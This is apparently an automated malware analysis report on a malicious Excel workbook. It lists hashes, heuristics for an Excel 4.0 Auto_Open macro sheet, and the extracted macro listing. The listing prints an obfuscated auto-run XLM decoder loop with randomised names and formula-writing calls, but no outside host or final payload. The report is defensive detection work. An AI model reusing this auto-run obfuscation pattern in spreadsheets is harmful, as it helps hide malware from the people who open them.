Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1a48cbcacfeaba91…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:42:27 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 5f3f9ce87c9c4452d57d835c158202ea SHA-1: cbcdf22204169c5070b4275d435d0590e232ad05 SHA-256: 1a48cbcacfeaba91a2cd40ae20fa4b597091be70f1262dcdcb7ea56b2c84cf9c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6789 bytes
SHA-256: db5686b311500126890272f2f4e9fab14aebdb27c06ce073079c3cf9c7af49a4
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GzmgLpNPzMf
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C186 
' 0018     21 LABEL : Cell Value, String Constant - EAVIsg len=0 
' 0018     25 LABEL : Cell Value, String Constant - fHnphFmovt len=0 
' 0018     23 LABEL : Cell Value, String Constant - FnHpuGHI len=0 
' 0018     24 LABEL : Cell Value, String Constant - fUWBtHitO len=0 
' 0018     27 LABEL : Cell Value, String Constant - gVrgoFmhjrUz len=0 
' 0018     24 LABEL : Cell Value, String Constant - HeXZvXjhP len=0 
' 0018     23 LABEL : Cell Value, String Constant - keAyrmeI len=0 
' 0018     24 LABEL : Cell Value, String Constant - KJfrRMLlT len=0 
' 0018     27 LABEL : Cell Value, String Constant - KKgatBizGwwJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - kxKJqqMZUr len=0 
' 0018     24 LABEL : Cell Value, String Constant - OYAhcSruR len=0 
' 0018     23 LABEL : Cell Value, String Constant - pXbjvEoe len=0 
' 0018     24 LABEL : Cell Value, String Constant - pXmbeUwpr len=0 
' 0018     20 LABEL : Cell Value, String Constant - RDecb len=0 
' 0018     20 LABEL : Cell Value, String Constant - tdLgK len=0 
' 0018     25 LABEL : Cell Value, String Constant - uHrjksuZbn len=0 
' 0018     26 LABEL : Cell Value, String Constant - UvBOCSWCvjV len=0 
' 0018     25 LABEL : Cell Value, String Constant - VtjfsbeMBF len=0 
' 0018     24 LABEL : Cell Value, String Constant - xDJBuqHOY len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZFSUmtiwn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GzmgLpNPzMf,C92,"SET.NAME("FnHpuGHI",VALUE("0"))",""
'  GzmgLpNPzMf,C94,"SET.NAME("fHnphFmovt",FnHpuGHI)",""
'  GzmgLpNPzMf,C99,"SET.NAME("RDecb",FnHpuGHI)",""
'  GzmgLpNPzMf,C103,"SET.NAME("xDJBuqHOY",COUNTA(EAVIsg))",""
'  GzmgLpNPzMf,C105,"SET.NAME("tdLgK",COUNTA(KKgatBizGwwJ))",""
'  GzmgLpNPzMf,C108,[],""
'  GzmgLpNPzMf,C113,"SET.NAME("KJfrRMLlT","")",""
'  GzmgLpNPzMf,C116,"fHnphFmovt",""
'  GzmgLpNPzMf,C120,"SET.NAME("uHrjksuZbn",HLOOKUP("*",EAVIsg,fHnphFmovt,FALSE))",""
'  GzmgLpNPzMf,C122,"UvBOCSWCvjV",""
'  GzmgLpNPzMf,C127,"SET.NAME("HeXZvXjhP",FnHpuGHI)",""
'  GzmgLpNPzMf,C132,[],""
'  GzmgLpNPzMf,C136,"HeXZvXjhP",""
'  GzmgLpNPzMf,C139,"pXbjvEoe",""
'  GzmgLpNPzMf,C142,"pXmbeUwpr",""
'  GzmgLpNPzMf,C146,"gVrgoFmhjrUz",""
'  GzmgLpNPzMf,C148,"SET.NAME("fUWBtHitO",VALUE(HLOOKUP("*",KKgatBizGwwJ,gVrgoFmhjrUz,FALSE)))",""
'  GzmgLpNPzMf,C151,"ZFSUmtiwn",""
'  GzmgLpNPzMf,C154,"KJfrRMLlT",""
'  GzmgLpNPzMf,C158,"RDecb",""
'  GzmgLpNPzMf,C163,NEXT(),""
'  GzmgLpNPzMf,C165,"keAyrmeI",""
'  GzmgLpNPzMf,C169,"SET.NAME("f",INT(T(FORMULA(T(KJfrRMLlT)&"",""&T(keAyrmeI)))))",""
'  GzmgLpNPzMf,C174,"VtjfsbeMBF",""
'  GzmgLpNPzMf,C176,NEXT(),""
'  GzmgLpNPzMf,C181,RETURN(),""
'  GzmgLpNPzMf,C215,"SET.NAME("OYAhcSruR",C92)",""
'  GzmgLpNPzMf,C220,"EAVIsg",""
'  GzmgLpNPzMf,C224,"SET.NAME("KKgatBizGwwJ",R64C13)",""
'  GzmgLpNPzMf,C227,"SET.NAME("VtjfsbeMBF",235)",""
'  GzmgLpNPzMf,C232,"SET.NAME("kxKJqqMZUr",3)",""
'  GzmgLpNPzMf,C234,OYAhcSruR(),""
'  GzmgLpNPzMf,C235,HALT(),""